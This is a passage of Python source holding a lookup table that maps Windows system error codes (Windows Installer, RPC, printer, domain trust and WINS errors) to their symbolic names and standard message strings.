package.\"),\n        0x00000654: (\"ERROR_INSTALL_PACKAGE_INVALID\", \"This installation package could not be opened. Contact the application vendor to verify that this is a valid Windows Installer package.\"),\n        0x00000655: (\"ERROR_INSTALL_UI_FAILURE\", \"There was an error starting the Windows Installer service user interface. Contact your support personnel.\"),\n        0x00000656: (\"ERROR_INSTALL_LOG_FAILURE\", \"Error opening installation log file. Verify that the specified log file location exists and that you can write to it.\"),\n        0x00000657: (\"ERROR_INSTALL_LANGUAGE_UNSUPPORTED\", \"The language of this installation package is not supported by your system.\"),\n        0x00000658: (\"ERROR_INSTALL_TRANSFORM_FAILURE\", \"Error applying transforms. Verify that the specified transform paths are valid.\"),\n        0x00000659: (\"ERROR_INSTALL_PACKAGE_REJECTED\", \"This installation is forbidden by system policy. Contact your system administrator.\"),\n        0x0000065a: (\"ERROR_FUNCTION_NOT_CALLED\", \"Function could not be executed.\"),\n        0x0000065b: (\"ERROR_FUNCTION_FAILED\", \"Function failed during execution.\"),\n        0x0000065c: (\"ERROR_INVALID_TABLE\", \"Invalid or unknown table specified.\"),\n        0x0000065d: (\"ERROR_DATATYPE_MISMATCH\", \"Data supplied is of wrong type.\"),\n        0x0000065e: (\"ERROR_UNSUPPORTED_TYPE\", \"Data of this type is not supported.\"),\n        0x0000065f: (\"ERROR_CREATE_FAILED\", \"The Windows Installer service failed to start. Contact your support personnel.\"),\n        0x00000660: (\"ERROR_INSTALL_TEMP_UNWRITABLE\", \"The Temp folder is on a drive that is full or is inaccessible. Free up space on the drive or verify that you have write permission on the Temp folder.\"),\n        0x00000661: (\"ERROR_INSTALL_PLATFORM_UNSUPPORTED\", \"This installation package is not supported by this processor type. Contact your product vendor.\"),\n        0x00000662: (\"ERROR_INSTALL_NOTUSED\", \"Component not used on this computer.\"),\n        0x00000663: (\"ERROR_PATCH_PACKAGE_OPEN_FAILED\", \"This update package could not be opened. Verify that the update package exists and that you can access it, or contact the application vendor to verify that this is a valid Windows Installer update package.\"),\n        0x00000664: (\"ERROR_PATCH_PACKAGE_INVALID\", \"This update package could not be opened. Contact the application vendor to verify that this is a valid Windows Installer update package.\"),\n        0x00000665: (\"ERROR_PATCH_PACKAGE_UNSUPPORTED\", \"This update package cannot be processed by the Windows Installer service. You must install a Windows service pack that contains a newer version of the Windows Installer service.\"),\n        0x00000666: (\"ERROR_PRODUCT_VERSION\", \"Another version of this product is already installed. Installation of this version cannot continue. To configure or remove the existing version of this product, use Add/Remove Programs on the Control Panel.\"),\n        0x00000667: (\"ERROR_INVALID_COMMAND_LINE\", \"Invalid command line argument. Consult the Windows Installer SDK for detailed command line help.\"),\n        0x00000668: (\"ERROR_INSTALL_REMOTE_DISALLOWED\", \"Only administrators have permission to add, remove, or configure server software during a Terminal services remote session. If you want to install or configure software on the server, contact your network administrator.\"),\n        0x00000669: (\"ERROR_SUCCESS_REBOOT_INITIATED\", \"The requested operation completed successfully. The system will be restarted so the changes can take effect.\"),\n        0x0000066a: (\"ERROR_PATCH_TARGET_NOT_FOUND\", \"The upgrade cannot be installed by the Windows Installer service because the program to be upgraded may be missing, or the upgrade may update a different version of the program. Verify that the program to be upgraded exists on your computer and that you have the correct upgrade.\"),\n        0x0000066b: (\"ERROR_PATCH_PACKAGE_REJECTED\", \"The update package is not permitted by software restriction policy.\"),\n        0x0000066c: (\"ERROR_INSTALL_TRANSFORM_REJECTED\", \"One or more customizations are not permitted by software restriction policy.\"),\n        0x0000066d: (\"ERROR_INSTALL_REMOTE_PROHIBITED\", \"The Windows Installer does not permit installation from a Remote Desktop Connection.\"),\n        0x0000066e: (\"ERROR_PATCH_REMOVAL_UNSUPPORTED\", \"Uninstallation of the update package is not supported.\"),\n        0x0000066f: (\"ERROR_UNKNOWN_PATCH\", \"The update is not applied to this product.\"),\n        0x00000670: (\"ERROR_PATCH_NO_SEQUENCE\", \"No valid sequence could be found for the set of updates.\"),\n        0x00000671: (\"ERROR_PATCH_REMOVAL_DISALLOWED\", \"Update removal was disallowed by policy.\"),\n        0x00000672: (\"ERROR_INVALID_PATCH_XML\", \"The XML update data is invalid.\"),\n        0x00000673: (\"ERROR_PATCH_MANAGED_ADVERTISED_PRODUCT\", \"Windows Installer does not permit updating of managed advertised products. At least one feature of the product must be installed before applying the update.\"),\n        0x00000674: (\"ERROR_INSTALL_SERVICE_SAFEBOOT\", \"The Windows Installer service is not accessible in Safe Mode. Please try again when your computer is not in Safe Mode or you can use System Restore to return your machine to a previous good state.\"),\n        0x00000675: (\"ERROR_FAIL_FAST_EXCEPTION\", \"A fail fast exception occurred. Exception handlers will not be invoked and the process will be terminated immediately.\"),\n        0x00000676: (\"ERROR_INSTALL_REJECTED\", \"The app that you are trying to run is not supported on this version of Windows.\"),\n        0x000006a4: (\"RPC_S_INVALID_STRING_BINDING\", \"The string binding is invalid.\"),\n        0x000006a5: (\"RPC_S_WRONG_KIND_OF_BINDING\", \"The binding handle is not the correct type.\"),\n        0x000006a6: (\"RPC_S_INVALID_BINDING\", \"The binding handle is invalid.\"),\n        0x000006a7: (\"RPC_S_PROTSEQ_NOT_SUPPORTED\", \"The RPC protocol sequence is not supported.\"),\n        0x000006a8: (\"RPC_S_INVALID_RPC_PROTSEQ\", \"The RPC protocol sequence is invalid.\"),\n        0x000006a9: (\"RPC_S_INVALID_STRING_UUID\", \"The string universal unique identifier (UUID) is invalid.\"),\n        0x000006aa: (\"RPC_S_INVALID_ENDPOINT_FORMAT\", \"The endpoint format is invalid.\"),\n        0x000006ab: (\"RPC_S_INVALID_NET_ADDR\", \"The network address is invalid.\"),\n        0x000006ac: (\"RPC_S_NO_ENDPOINT_FOUND\", \"No endpoint was found.\"),\n        0x000006ad: (\"RPC_S_INVALID_TIMEOUT\", \"The timeout value is invalid.\"),\n        0x000006ae: (\"RPC_S_OBJECT_NOT_FOUND\", \"The object universal unique identifier (UUID) was not found.\"),\n        0x000006af: (\"RPC_S_ALREADY_REGISTERED\", \"The object universal unique identifier (UUID) has already been registered.\"),\n        0x000006b0: (\"RPC_S_TYPE_ALREADY_REGISTERED\", \"The type universal unique identifier (UUID) has already been registered.\"),\n        0x000006b1: (\"RPC_S_ALREADY_LISTENING\", \"The RPC server is already listening.\"),\n        0x000006b2: (\"RPC_S_NO_PROTSEQS_REGISTERED\", \"No protocol sequences have been registered.\"),\n        0x000006b3: (\"RPC_S_NOT_LISTENING\", \"The RPC server is not listening.\"),\n        0x000006b4: (\"RPC_S_UNKNOWN_MGR_TYPE\", \"The manager type is unknown.\"),\n        0x000006b5: (\"RPC_S_UNKNOWN_IF\", \"The interface is unknown.\"),\n        0x000006b6: (\"RPC_S_NO_BINDINGS\", \"There are no bindings.\"),\n        0x000006b7: (\"RPC_S_NO_PROTSEQS\", \"There are no protocol sequences.\"),\n        0x000006b8: (\"RPC_S_CANT_CREATE_ENDPOINT\", \"The endpoint cannot be created.\"),\n        0x000006b9: (\"RPC_S_OUT_OF_RESOURCES\", \"Not enough resources are available to complete this operation.\"),\n        0x000006ba: (\"RPC_S_SERVER_UNAVAILABLE\", \"The RPC server is unavailable.\"),\n        0x000006bb: (\"RPC_S_SERVER_TOO_BUSY\", \"The RPC server is too busy to complete this operation.\"),\n        0x000006bc: (\"RPC_S_INVALID_NETWORK_OPTIONS\", \"The network options are invalid.\"),\n        0x000006bd: (\"RPC_S_NO_CALL_ACTIVE\", \"There are no remote procedure calls active on this thread.\"),\n        0x000006be: (\"RPC_S_CALL_FAILED\", \"The remote procedure call failed.\"),\n        0x000006bf: (\"RPC_S_CALL_FAILED_DNE\", \"The remote procedure call failed and did not execute.\"),\n        0x000006c0: (\"RPC_S_PROTOCOL_ERROR\", \"A remote procedure call (RPC) protocol error occurred.\"),\n        0x000006c1: (\"RPC_S_PROXY_ACCESS_DENIED\", \"Access to the HTTP proxy is denied.\"),\n        0x000006c2: (\"RPC_S_UNSUPPORTED_TRANS_SYN\", \"The transfer syntax is not supported by the RPC server.\"),\n        0x000006c4: (\"RPC_S_UNSUPPORTED_TYPE\", \"The universal unique identifier (UUID) type is not supported.\"),\n        0x000006c5: (\"RPC_S_INVALID_TAG\", \"The tag is invalid.\"),\n        0x000006c6: (\"RPC_S_INVALID_BOUND\", \"The array bounds are invalid.\"),\n        0x000006c7: (\"RPC_S_NO_ENTRY_NAME\", \"The binding does not contain an entry name.\"),\n        0x000006c8: (\"RPC_S_INVALID_NAME_SYNTAX\", \"The name syntax is invalid.\"),\n        0x000006c9: (\"RPC_S_UNSUPPORTED_NAME_SYNTAX\", \"The name syntax is not supported.\"),\n        0x000006cb: (\"RPC_S_UUID_NO_ADDRESS\", \"No network address is available to use to construct a universal unique identifier (UUID).\"),\n        0x000006cc: (\"RPC_S_DUPLICATE_ENDPOINT\", \"The endpoint is a duplicate.\"),\n        0x000006cd: (\"RPC_S_UNKNOWN_AUTHN_TYPE\", \"The authentication type is unknown.\"),\n        0x000006ce: (\"RPC_S_MAX_CALLS_TOO_SMALL\", \"The maximum number of calls is too small.\"),\n        0x000006cf: (\"RPC_S_STRING_TOO_LONG\", \"The string is too long.\"),\n        0x000006d0: (\"RPC_S_PROTSEQ_NOT_FOUND\", \"The RPC protocol sequence was not found.\"),\n        0x000006d1: (\"RPC_S_PROCNUM_OUT_OF_RANGE\", \"The procedure number is out of range.\"),\n        0x000006d2: (\"RPC_S_BINDING_HAS_NO_AUTH\", \"The binding does not contain any authentication information.\"),\n        0x000006d3: (\"RPC_S_UNKNOWN_AUTHN_SERVICE\", \"The authentication service is unknown.\"),\n        0x000006d4: (\"RPC_S_UNKNOWN_AUTHN_LEVEL\", \"The authentication level is unknown.\"),\n        0x000006d5: (\"RPC_S_INVALID_AUTH_IDENTITY\", \"The security context is invalid.\"),\n        0x000006d6: (\"RPC_S_UNKNOWN_AUTHZ_SERVICE\", \"The authorization service is unknown.\"),\n        0x000006d7: (\"EPT_S_INVALID_ENTRY\", \"The entry is invalid.\"),\n        0x000006d8: (\"EPT_S_CANT_PERFORM_OP\", \"The server endpoint cannot perform the operation.\"),\n        0x000006d9: (\"EPT_S_NOT_REGISTERED\", \"There are no more endpoints available from the endpoint mapper.\"),\n        0x000006da: (\"RPC_S_NOTHING_TO_EXPORT\", \"No interfaces have been exported.\"),\n        0x000006db: (\"RPC_S_INCOMPLETE_NAME\", \"The entry name is incomplete.\"),\n        0x000006dc: (\"RPC_S_INVALID_VERS_OPTION\", \"The version option is invalid.\"),\n        0x000006dd: (\"RPC_S_NO_MORE_MEMBERS\", \"There are no more members.\"),\n        0x000006de: (\"RPC_S_NOT_ALL_OBJS_UNEXPORTED\", \"There is nothing to unexport.\"),\n        0x000006df: (\"RPC_S_INTERFACE_NOT_FOUND\", \"The interface was not found.\"),\n        0x000006e0: (\"RPC_S_ENTRY_ALREADY_EXISTS\", \"The entry already exists.\"),\n        0x000006e1: (\"RPC_S_ENTRY_NOT_FOUND\", \"The entry is not found.\"),\n        0x000006e2: (\"RPC_S_NAME_SERVICE_UNAVAILABLE\", \"The name service is unavailable.\"),\n        0x000006e3: (\"RPC_S_INVALID_NAF_ID\", \"The network address family is invalid.\"),\n        0x000006e4: (\"RPC_S_CANNOT_SUPPORT\", \"The requested operation is not supported.\"),\n        0x000006e5: (\"RPC_S_NO_CONTEXT_AVAILABLE\", \"No security context is available to allow impersonation.\"),\n        0x000006e6: (\"RPC_S_INTERNAL_ERROR\", \"An internal error occurred in a remote procedure call (RPC).\"),\n        0x000006e7: (\"RPC_S_ZERO_DIVIDE\", \"The RPC server attempted an integer division by zero.\"),\n        0x000006e8: (\"RPC_S_ADDRESS_ERROR\", \"An addressing error occurred in the RPC server.\"),\n        0x000006e9: (\"RPC_S_FP_DIV_ZERO\", \"A floating-point operation at the RPC server caused a division by zero.\"),\n        0x000006ea: (\"RPC_S_FP_UNDERFLOW\", \"A floating-point underflow occurred at the RPC server.\"),\n        0x000006eb: (\"RPC_S_FP_OVERFLOW\", \"A floating-point overflow occurred at the RPC server.\"),\n        0x000006ec: (\"RPC_X_NO_MORE_ENTRIES\", \"The list of RPC servers available for the binding of auto handles has been exhausted.\"),\n        0x000006ed: (\"RPC_X_SS_CHAR_TRANS_OPEN_FAIL\", \"Unable to open the character translation table file.\"),\n        0x000006ee: (\"RPC_X_SS_CHAR_TRANS_SHORT_FILE\", \"The file containing the character translation table has fewer than 512 bytes.\"),\n        0x000006ef: (\"RPC_X_SS_IN_NULL_CONTEXT\", \"A null context handle was passed from the client to the host during a remote procedure call.\"),\n        0x000006f1: (\"RPC_X_SS_CONTEXT_DAMAGED\", \"The context handle changed during a remote procedure call.\"),\n        0x000006f2: (\"RPC_X_SS_HANDLES_MISMATCH\", \"The binding handles passed to a remote procedure call do not match.\"),\n        0x000006f3: (\"RPC_X_SS_CANNOT_GET_CALL_HANDLE\", \"The stub is unable to get the remote procedure call handle.\"),\n        0x000006f4: (\"RPC_X_NULL_REF_POINTER\", \"A null reference pointer was passed to the stub.\"),\n        0x000006f5: (\"RPC_X_ENUM_VALUE_OUT_OF_RANGE\", \"The enumeration value is out of range.\"),\n        0x000006f6: (\"RPC_X_BYTE_COUNT_TOO_SMALL\", \"The byte count is too small.\"),\n        0x000006f7: (\"RPC_X_BAD_STUB_DATA\", \"The stub received bad data.\"),\n        0x000006f8: (\"ERROR_INVALID_USER_BUFFER\", \"The supplied user buffer is not valid for the requested operation.\"),\n        0x000006f9: (\"ERROR_UNRECOGNIZED_MEDIA\", \"The disk media is not recognized. It may not be formatted.\"),\n        0x000006fa: (\"ERROR_NO_TRUST_LSA_SECRET\", \"The workstation does not have a trust secret.\"),\n        0x000006fb: (\"ERROR_NO_TRUST_SAM_ACCOUNT\", \"The security database on the server does not have a computer account for this workstation trust relationship.\"),\n        0x000006fc: (\"ERROR_TRUSTED_DOMAIN_FAILURE\", \"The trust relationship between the primary domain and the trusted domain failed.\"),\n        0x000006fd: (\"ERROR_TRUSTED_RELATIONSHIP_FAILURE\", \"The trust relationship between this workstation and the primary domain failed.\"),\n        0x000006fe: (\"ERROR_TRUST_FAILURE\", \"The network logon failed.\"),\n        0x000006ff: (\"RPC_S_CALL_IN_PROGRESS\", \"A remote procedure call is already in progress for this thread.\"),\n        0x00000700: (\"ERROR_NETLOGON_NOT_STARTED\", \"An attempt was made to logon, but the network logon service was not started.\"),\n        0x00000701: (\"ERROR_ACCOUNT_EXPIRED\", \"The user's account has expired.\"),\n        0x00000702: (\"ERROR_REDIRECTOR_HAS_OPEN_HANDLES\", \"The redirector is in use and cannot be unloaded.\"),\n        0x00000703: (\"ERROR_PRINTER_DRIVER_ALREADY_INSTALLED\", \"The specified printer driver is already installed.\"),\n        0x00000704: (\"ERROR_UNKNOWN_PORT\", \"The specified port is unknown.\"),\n        0x00000705: (\"ERROR_UNKNOWN_PRINTER_DRIVER\", \"The printer driver is unknown.\"),\n        0x00000706: (\"ERROR_UNKNOWN_PRINTPROCESSOR\", \"The print processor is unknown.\"),\n        0x00000707: (\"ERROR_INVALID_SEPARATOR_FILE\", \"The specified separator file is invalid.\"),\n        0x00000708: (\"ERROR_INVALID_PRIORITY\", \"The specified priority is invalid.\"),\n        0x00000709: (\"ERROR_INVALID_PRINTER_NAME\", \"The printer name is invalid.\"),\n        0x0000070a: (\"ERROR_PRINTER_ALREADY_EXISTS\", \"The printer already exists.\"),\n        0x0000070b: (\"ERROR_INVALID_PRINTER_COMMAND\", \"The printer command is invalid.\"),\n        0x0000070c: (\"ERROR_INVALID_DATATYPE\", \"The specified datatype is invalid.\"),\n        0x0000070d: (\"ERROR_INVALID_ENVIRONMENT\", \"The environment specified is invalid.\"),\n        0x0000070e: (\"RPC_S_NO_MORE_BINDINGS\", \"There are no more bindings.\"),\n        0x0000070f: (\"ERROR_NOLOGON_INTERDOMAIN_TRUST_ACCOUNT\", \"The account used is an interdomain trust account. Use your global user account or local user account to access this server.\"),\n        0x00000710: (\"ERROR_NOLOGON_WORKSTATION_TRUST_ACCOUNT\", \"The account used is a computer account. Use your global user account or local user account to access this server.\"),\n        0x00000711: (\"ERROR_NOLOGON_SERVER_TRUST_ACCOUNT\", \"The account used is a server trust account. Use your global user account or local user account to access this server.\"),\n        0x00000712: (\"ERROR_DOMAIN_TRUST_INCONSISTENT\", \"The name or security ID (SID) of the domain specified is inconsistent with the trust information for that domain.\"),\n        0x00000713: (\"ERROR_SERVER_HAS_OPEN_HANDLES\", \"The server is in use and cannot be unloaded.\"),\n        0x00000714: (\"ERROR_RESOURCE_DATA_NOT_FOUND\", \"The specified image file did not contain a resource section.\"),\n        0x00000715: (\"ERROR_RESOURCE_TYPE_NOT_FOUND\", \"The specified resource type cannot be found in the image file.\"),\n        0x00000716: (\"ERROR_RESOURCE_NAME_NOT_FOUND\", \"The specified resource name cannot be found in the image file.\"),\n        0x00000717: (\"ERROR_RESOURCE_LANG_NOT_FOUND\", \"The specified resource language ID cannot be found in the image file.\"),\n        0x00000718: (\"ERROR_NOT_ENOUGH_QUOTA\", \"Not enough quota is available to process this command.\"),\n        0x00000719: (\"RPC_S_NO_INTERFACES\", \"No interfaces have been registered.\"),\n        0x0000071a: (\"RPC_S_CALL_CANCELLED\", \"The remote procedure call was cancelled.\"),\n        0x0000071b: (\"RPC_S_BINDING_INCOMPLETE\", \"The binding handle does not contain all required information.\"),\n        0x0000071c: (\"RPC_S_COMM_FAILURE\", \"A communications failure occurred during a remote procedure call.\"),\n        0x0000071d: (\"RPC_S_UNSUPPORTED_AUTHN_LEVEL\", \"The requested authentication level is not supported.\"),\n        0x0000071e: (\"RPC_S_NO_PRINC_NAME\", \"No principal name registered.\"),\n        0x0000071f: (\"RPC_S_NOT_RPC_ERROR\", \"The error specified is not a valid Windows RPC error code.\"),\n        0x00000720: (\"RPC_S_UUID_LOCAL_ONLY\", \"A UUID that is valid only on this computer has been allocated.\"),\n        0x00000721: (\"RPC_S_SEC_PKG_ERROR\", \"A security package specific error occurred.\"),\n        0x00000722: (\"RPC_S_NOT_CANCELLED\", \"Thread is not canceled.\"),\n        0x00000723: (\"RPC_X_INVALID_ES_ACTION\", \"Invalid operation on the encoding/decoding handle.\"),\n        0x00000724: (\"RPC_X_WRONG_ES_VERSION\", \"Incompatible version of the serializing package.\"),\n        0x00000725: (\"RPC_X_WRONG_STUB_VERSION\", \"Incompatible version of the RPC stub.\"),\n        0x00000726: (\"RPC_X_INVALID_PIPE_OBJECT\", \"The RPC pipe object is invalid or corrupted.\"),\n        0x00000727: (\"RPC_X_WRONG_PIPE_ORDER\", \"An invalid operation was attempted on an RPC pipe object.\"),\n        0x00000728: (\"RPC_X_WRONG_PIPE_VERSION\", \"Unsupported RPC pipe version.\"),\n        0x00000729: (\"RPC_S_COOKIE_AUTH_FAILED\", \"HTTP proxy server rejected the connection because the cookie authentication failed.\"),\n        0x0000076a: (\"RPC_S_GROUP_MEMBER_NOT_FOUND\", \"The group member was not found.\"),\n        0x0000076b: (\"EPT_S_CANT_CREATE\", \"The endpoint mapper database entry could not be created.\"),\n        0x0000076c: (\"RPC_S_INVALID_OBJECT\", \"The object universal unique identifier (UUID) is the nil UUID.\"),\n        0x0000076d: (\"ERROR_INVALID_TIME\", \"The specified time is invalid.\"),\n        0x0000076e: (\"ERROR_INVALID_FORM_NAME\", \"The specified form name is invalid.\"),\n        0x0000076f: (\"ERROR_INVALID_FORM_SIZE\", \"The specified form size is invalid.\"),\n        0x00000770: (\"ERROR_ALREADY_WAITING\", \"The specified printer handle is already being waited on\"),\n        0x00000771: (\"ERROR_PRINTER_DELETED\", \"The specified printer has been deleted.\"),\n        0x00000772: (\"ERROR_INVALID_PRINTER_STATE\", \"The state of the printer is invalid.\"),\n        0x00000773: (\"ERROR_PASSWORD_MUST_CHANGE\", \"The user's password must be changed before signing in.\"),\n        0x00000774: (\"ERROR_DOMAIN_CONTROLLER_NOT_FOUND\", \"Could not find the domain controller for this domain.\"),\n        0x00000775: (\"ERROR_ACCOUNT_LOCKED_OUT\", \"The referenced account is currently locked out and may not be logged on to.\"),\n        0x00000776: (\"OR_INVALID_OXID\", \"The object exporter specified was not found.\"),\n        0x00000777: (\"OR_INVALID_OID\", \"The object specified was not found.\"),\n        0x00000778: (\"OR_INVALID_SET\", \"The object resolver set specified was not found.\"),\n        0x00000779: (\"RPC_S_SEND_INCOMPLETE\", \"Some data remains to be sent in the request buffer.\"),\n        0x0000077a: (\"RPC_S_INVALID_ASYNC_HANDLE\", \"Invalid asynchronous remote procedure call handle.\"),\n        0x0000077b: (\"RPC_S_INVALID_ASYNC_CALL\", \"Invalid asynchronous RPC call handle for this operation.\"),\n        0x0000077c: (\"RPC_X_PIPE_CLOSED\", \"The RPC pipe object has already been closed.\"),\n        0x0000077d: (\"RPC_X_PIPE_DISCIPLINE_ERROR\", \"The RPC call completed before all pipes were processed.\"),\n        0x0000077e: (\"RPC_X_PIPE_EMPTY\", \"No more data is available from the RPC pipe.\"),\n        0x0000077f: (\"ERROR_NO_SITENAME\", \"No site name is available for this machine.\"),\n        0x00000780: (\"ERROR_CANT_ACCESS_FILE\", \"The file cannot be accessed by the system.\"),\n        0x00000781: (\"ERROR_CANT_RESOLVE_FILENAME\", \"The name of the file cannot be resolved by the system.\"),\n        0x00000782: (\"RPC_S_ENTRY_TYPE_MISMATCH\", \"The entry is not of the expected type.\"),\n        0x00000783: (\"RPC_S_NOT_ALL_OBJS_EXPORTED\", \"Not all object UUIDs could be exported to the specified entry.\"),\n        0x00000784: (\"RPC_S_INTERFACE_NOT_EXPORTED\", \"Interface could not be exported to the specified entry.\"),\n        0x00000785: (\"RPC_S_PROFILE_NOT_ADDED\", \"The specified profile entry could not be added.\"),\n        0x00000786: (\"RPC_S_PRF_ELT_NOT_ADDED\", \"The specified profile element could not be added.\"),\n        0x00000787: (\"RPC_S_PRF_ELT_NOT_REMOVED\", \"The specified profile element could not be removed.\"),\n        0x00000788: (\"RPC_S_GRP_ELT_NOT_ADDED\", \"The group element could not be added.\"),\n        0x00000789: (\"RPC_S_GRP_ELT_NOT_REMOVED\", \"The group element could not be removed.\"),\n        0x0000078a: (\"ERROR_KM_DRIVER_BLOCKED\", \"The printer driver is not compatible with a policy enabled on your computer that blocks NT 4.0 drivers.\"),\n        0x0000078b: (\"ERROR_CONTEXT_EXPIRED\", \"The context has expired and can no longer be used.\"),\n        0x0000078c: (\"ERROR_PER_USER_TRUST_QUOTA_EXCEEDED\", \"The current user's delegated trust creation quota has been exceeded.\"),\n        0x0000078d: (\"ERROR_ALL_USER_TRUST_QUOTA_EXCEEDED\", \"The total delegated trust creation quota has been exceeded.\"),\n        0x0000078e: (\"ERROR_USER_DELETE_TRUST_QUOTA_EXCEEDED\", \"The current user's delegated trust deletion quota has been exceeded.\"),\n        0x0000078f: (\"ERROR_AUTHENTICATION_FIREWALL_FAILED\", \"The computer you are signing into is protected by an authentication firewall. The specified account is not allowed to authenticate to the computer.\"),\n        0x00000790: (\"ERROR_REMOTE_PRINT_CONNECTIONS_BLOCKED\", \"Remote connections to the Print Spooler are blocked by a policy set on your machine.\"),\n        0x00000791: (\"ERROR_NTLM_BLOCKED\", \"Authentication failed because NTLM authentication has been disabled.\"),\n        0x00000792: (\"ERROR_PASSWORD_CHANGE_REQUIRED\", \"Logon Failure: EAS policy requires that the user change their password before this operation can be performed.\"),\n        0x000007d0: (\"ERROR_INVALID_PIXEL_FORMAT\", \"The pixel format is invalid.\"),\n        0x000007d1: (\"ERROR_BAD_DRIVER\", \"The specified driver is invalid.\"),\n        0x000007d2: (\"ERROR_INVALID_WINDOW_STYLE\", \"The window style or class attribute is invalid for this operation.\"),\n        0x000007d3: (\"ERROR_METAFILE_NOT_SUPPORTED\", \"The requested metafile operation is not supported.\"),\n        0x000007d4: (\"ERROR_TRANSFORM_NOT_SUPPORTED\", \"The requested transformation operation is not supported.\"),\n        0x000007d5: (\"ERROR_CLIPPING_NOT_SUPPORTED\", \"The requested clipping operation is not supported.\"),\n        0x000007da: (\"ERROR_INVALID_CMM\", \"The specified color management module is invalid.\"),\n        0x000007db: (\"ERROR_INVALID_PROFILE\", \"The specified color profile is invalid.\"),\n        0x000007dc: (\"ERROR_TAG_NOT_FOUND\", \"The specified tag was not found.\"),\n        0x000007dd: (\"ERROR_TAG_NOT_PRESENT\", \"A required tag is not present.\"),\n        0x000007de: (\"ERROR_DUPLICATE_TAG\", \"The specified tag is already present.\"),\n        0x000007df: (\"ERROR_PROFILE_NOT_ASSOCIATED_WITH_DEVICE\", \"The specified color profile is not associated with the specified device.\"),\n        0x000007e0: (\"ERROR_PROFILE_NOT_FOUND\", \"The specified color profile was not found.\"),\n        0x000007e1: (\"ERROR_INVALID_COLORSPACE\", \"The specified color space is invalid.\"),\n        0x000007e2: (\"ERROR_ICM_NOT_ENABLED\", \"Image Color Management is not enabled.\"),\n        0x000007e3: (\"ERROR_DELETING_ICM_XFORM\", \"There was an error while deleting the color transform.\"),\n        0x000007e4: (\"ERROR_INVALID_TRANSFORM\", \"The specified color transform is invalid.\"),\n        0x000007e5: (\"ERROR_COLORSPACE_MISMATCH\", \"The specified transform does not match the bitmap's color space.\"),\n        0x000007e6: (\"ERROR_INVALID_COLORINDEX\", \"The specified named color index is not present in the profile.\"),\n        0x000007e7: (\"ERROR_PROFILE_DOES_NOT_MATCH_DEVICE\", \"The specified profile is intended for a device of a different type than the specified device.\"),\n        0x0000083c: (\"ERROR_CONNECTED_OTHER_PASSWORD\", \"The network connection was made successfully, but the user had to be prompted for a password other than the one originally specified.\"),\n        0x0000083d: (\"ERROR_CONNECTED_OTHER_PASSWORD_DEFAULT\", \"The network connection was made successfully using default credentials.\"),\n        0x0000089a: (\"ERROR_BAD_USERNAME\", \"The specified username is invalid.\"),\n        0x000008ca: (\"ERROR_NOT_CONNECTED\", \"This network connection does not exist.\"),\n        0x00000961: (\"ERROR_OPEN_FILES\", \"This network connection has files open or requests pending.\"),\n        0x00000962: (\"ERROR_ACTIVE_CONNECTIONS\", \"Active connections still exist.\"),\n        0x00000964: (\"ERROR_DEVICE_IN_USE\", \"The device is in use by an active process and cannot be disconnected.\"),\n        0x00000bb8: (\"ERROR_UNKNOWN_PRINT_MONITOR\", \"The specified print monitor is unknown.\"),\n        0x00000bb9: (\"ERROR_PRINTER_DRIVER_IN_USE\", \"The specified printer driver is currently in use.\"),\n        0x00000bba: (\"ERROR_SPOOL_FILE_NOT_FOUND\", \"The spool file was not found.\"),\n        0x00000bbb: (\"ERROR_SPL_NO_STARTDOC\", \"A StartDocPrinter call was not issued.\"),\n        0x00000bbc: (\"ERROR_SPL_NO_ADDJOB\", \"An AddJob call was not issued.\"),\n        0x00000bbd: (\"ERROR_PRINT_PROCESSOR_ALREADY_INSTALLED\", \"The specified print processor has already been installed.\"),\n        0x00000bbe: (\"ERROR_PRINT_MONITOR_ALREADY_INSTALLED\", \"The specified print monitor has already been installed.\"),\n        0x00000bbf: (\"ERROR_INVALID_PRINT_MONITOR\", \"The specified print monitor does not have the required functions.\"),\n        0x00000bc0: (\"ERROR_PRINT_MONITOR_IN_USE\", \"The specified print monitor is currently in use.\"),\n        0x00000bc1: (\"ERROR_PRINTER_HAS_JOBS_QUEUED\", \"The requested operation is not allowed when there are jobs queued to the printer.\"),\n        0x00000bc2: (\"ERROR_SUCCESS_REBOOT_REQUIRED\", \"The requested operation is successful. Changes will not be effective until the system is rebooted.\"),\n        0x00000bc3: (\"ERROR_SUCCESS_RESTART_REQUIRED\", \"The requested operation is successful. Changes will not be effective until the service is restarted.\"),\n        0x00000bc4: (\"ERROR_PRINTER_NOT_FOUND\", \"No printers were found.\"),\n        0x00000bc5: (\"ERROR_PRINTER_DRIVER_WARNED\", \"The printer driver is known to be unreliable.\"),\n        0x00000bc6: (\"ERROR_PRINTER_DRIVER_BLOCKED\", \"The printer driver is known to harm the system.\"),\n        0x00000bc7: (\"ERROR_PRINTER_DRIVER_PACKAGE_IN_USE\", \"The specified printer driver package is currently in use.\"),\n        0x00000bc8: (\"ERROR_CORE_DRIVER_PACKAGE_NOT_FOUND\", \"Unable to find a core driver package that is required by the printer driver package.\"),\n        0x00000bc9: (\"ERROR_FAIL_REBOOT_REQUIRED\", \"The requested operation failed. A system reboot is required to roll back changes made.\"),\n        0x00000bca: (\"ERROR_FAIL_REBOOT_INITIATED\", \"The requested operation failed. A system reboot has been initiated to roll back changes made.\"),\n        0x00000bcb: (\"ERROR_PRINTER_DRIVER_DOWNLOAD_NEEDED\", \"The specified printer driver was not found on the system and needs to be downloaded.\"),\n        0x00000bcc: (\"ERROR_PRINT_JOB_RESTART_REQUIRED\", \"The requested print job has failed to print. A print system update requires the job to be resubmitted.\"),\n        0x00000bcd: (\"ERROR_INVALID_PRINTER_DRIVER_MANIFEST\", \"The printer driver does not contain a valid manifest, or contains too many manifests.\"),\n        0x00000bce: (\"ERROR_PRINTER_NOT_SHAREABLE\", \"The specified printer cannot be shared.\"),\n        0x00000bea: (\"ERROR_REQUEST_PAUSED\", \"The operation was paused.\"),\n        0x00000f6e: (\"ERROR_IO_REISSUE_AS_CACHED\", \"Reissue the given operation as a cached IO operation\"),\n        0x00000fa0: (\"ERROR_WINS_INTERNAL\", \"WINS encountered an error while processing the command.\"),\n        0x00000fa1: (\"ERROR_CAN_NOT_DEL_LOCAL_WINS\", \"The local WINS cannot be deleted.\"),\n        0x00000fa2: (\"ERROR_STATIC_INIT\", \"The importation from the file failed.\"),\n        0x00000fa3: (\"ERROR_INC_BACKUP\", \"The backup failed. Was a full backup done before?\"),\n        0x00000fa4: (\"ERROR_FULL_BACKUP\", \"The backup failed. Check the directory to which you are backing the database.\"),\n        0x00000fa5: (\"ERROR_REC_NON_EXISTENT\", \"The name does not exist in the WINS database.\"),\n        0x00000fa6: (\"ERROR_RPL_NOT_ALLOWED\", \"Replication with a 